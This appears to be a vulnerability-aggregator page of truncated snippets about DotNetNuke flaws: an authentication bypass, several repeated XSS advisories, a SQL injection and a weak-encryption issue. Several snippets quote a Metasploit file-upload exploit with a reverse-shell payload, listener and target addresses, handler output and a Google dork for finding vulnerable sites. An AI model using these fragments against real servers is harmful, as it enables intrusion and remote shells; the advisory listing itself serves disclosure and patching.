DotNetNuke 07.04.00 - Administration Authentication Bypass

DotNetNuke 07.04.00 - Administration Authentication Bypass Exploit Title: DotNetNuke 07.04.00 Administration Authentication Bypass Date: 06-05-2016 Exploit Author: Marios Nicolaides Vendor Homepage: http://www.dnnsoftware.com/ Software Link: https://dotnetnuke.codeplex.com/releases/view/611324...

DotNetNuke 07.04.00 - Administration Authentication Bypass

Exploit Title: DotNetNuke 07.04.00 Administration Authentication Bypass Date: 06-05-2016 Exploit Author: Marios Nicolaides Vendor Homepage: http://www.dnnsoftware.com/ Software Link: https://dotnetnuke.codeplex.com/releases/view/611324 Version: 07.04.00 Tested on: Microsoft Windows 7 Professional...

DNN (DotNetNuke) < 7.4.2 Multiple Vulnerabilities

The version of DNN installed on the remote host is affected by multiple vulnerabilities : - An unspecified cross-site scripting vulnerability exists due to a failure to properly sanitize content used by the tabs control. An unauthenticated, remote attacker can exploit this to execute arbitrary...

DNN (DotNetNuke) < 7.4.0 Unspecified Persistent XSS

The version of DNN installed on the remote host is affected by an unspecified, persistent cross-site scripting vulnerability due to a failure to properly sanitize user-supplied input. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported...

DotNetNuke Cross-Site Scripting Vulnerability (CNVD-2015-01010)

DotNetNuke DNN is a set of U.S. DNN company supported by Microsoft , based on the ASP.NET platform for open source content management system CMS. The system is easy to install , scalable , feature-rich and so on. DotNetNuke DNN suffers from a cross-site scripting vulnerability. A remote attacker...

CVE-2015-1566

Cross-site scripting XSS vulnerability in DotNetNuke DNN before 7.4.0 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

Cross site scripting

Cross-site scripting XSS vulnerability in DotNetNuke DNN before 7.4.0 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

CVE-2015-1566

Cross-site scripting XSS vulnerability in DotNetNuke DNN before 7.4.0 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

CVE-2015-1566

CVE-2015-1566 affects DotNetNuke (DNN) before version 7.4.0, where an XSS flaw could allow remote attackers to inject arbitrary web script or HTML via unspecified vectors. The concrete root cause is not detailed in the provided documents beyond the vendor’s version bound; no exploit vectors are d...

CVE-2015-1566

Cross-site scripting XSS vulnerability in DotNetNuke DNN before 7.4.0 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

PT-2015-5355

Name of the Vulnerable Software and Affected Versions DotNetNuke versions prior to 7.4.0 Description A cross-site scripting issue allows remote attackers to inject arbitrary web script or HTML. Recommendations For versions prior to 7.4.0, update to version 7.4.0 or later to resolve the issue...

CVE-2015-1566: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in DotNetNuke DNN before 7.4.0 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

DotNetNuke DNNspot Store 3.0.0 Arbitary File Upload

No description provided by source. Exploit Title: DotNetNuke DNNspot Store UploadifyHandler.ashx = 3.0.0 Arbitary File Upload Date: 23/01/2014 Author: Glafkos Charalambous Version: 3.0.0 Vendor: DNNspot Vendor URL: https://www.dnnspot.com Google Dork: inurl:/DesktopModules/DNNspot-Store/ root@kal...

DotNetNuke DNNArticle Module SQL Injection (CVE-2013-5117)

TODO...

DotNetNuke DNNspot Store (UploadifyHandler.ashx) 3.0.0 File Upload

Exploit Title: DotNetNuke DNNspot Store UploadifyHandler.ashx windows/shell/reversetcp LHOST = 192.168.13.37 LPORT = 31337 RHOST = 192.168.31.33 - Handler failed to bind to 192.168.13.37:31337 Started reverse handler on 0.0.0.0:31337 192.168.31.33:80 - Uploading payload... 192.168.31.33:80 -...

DotNetNuke DNNspot Store 3.0.0 Arbitary File Upload Exploit

This Metasploit module exploits an arbitrary file upload vulnerability found in DotNetNuke DNNspot Store module versions below 3.0.0. Exploit Title: DotNetNuke DNNspot Store UploadifyHandler.ashx windows/shell/reversetcp LHOST = 192.168.13.37 LPORT = 31337 RHOST = 192.168.31.33 - Handler failed t...

DotNetNuke DNNspot Store 3.0.0 - Arbitrary File Upload (Metasploit)

DotNetNuke DNNspot Store 3.0.0 - Arbitrary File Upload Metasploit Exploit Title: DotNetNuke DNNspot Store UploadifyHandler.ashx windows/shell/reversetcp LHOST = 192.168.13.37 LPORT = 31337 RHOST = 192.168.31.33 - Handler failed to bind to 192.168.13.37:31337 Started reverse handler on...

DotNetNuke DNNspot Store 3.0.0 - Arbitrary File Upload (Metasploit)

Exploit Title: DotNetNuke DNNspot Store UploadifyHandler.ashx windows/shell/reversetcp LHOST = 192.168.13.37 LPORT = 31337 RHOST = 192.168.31.33 - Handler failed to bind to 192.168.13.37:31337 Started reverse handler on 0.0.0.0:31337 192.168.31.33:80 - Uploading payload... 192.168.31.33:80 -...

DotNetNuke DNNArticle Module 10.0 - SQL Injection Vulnerability

No description provided by source. Title: DotNetNuke DNNArticle Module SQL Injection Vulnerability References: CVE-2013-5117 Discovered by: Sajjad Pourali Vendor http://www.zldnn.com/ , http://www.dnnarticle.com/? Vendor advisory:...

DotNetNuke 4.8.1 - Default 'ValidationKey' and 'DecriptionKey' Weak Encryption Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/28391/info DotNetNuke is prone to a weak encryption vulnerability. An attacker can exploit this issue to decrypt sensitive data. Information obtained may lead to further attacks. This issue affects DotNetNuke 4.8.1; other...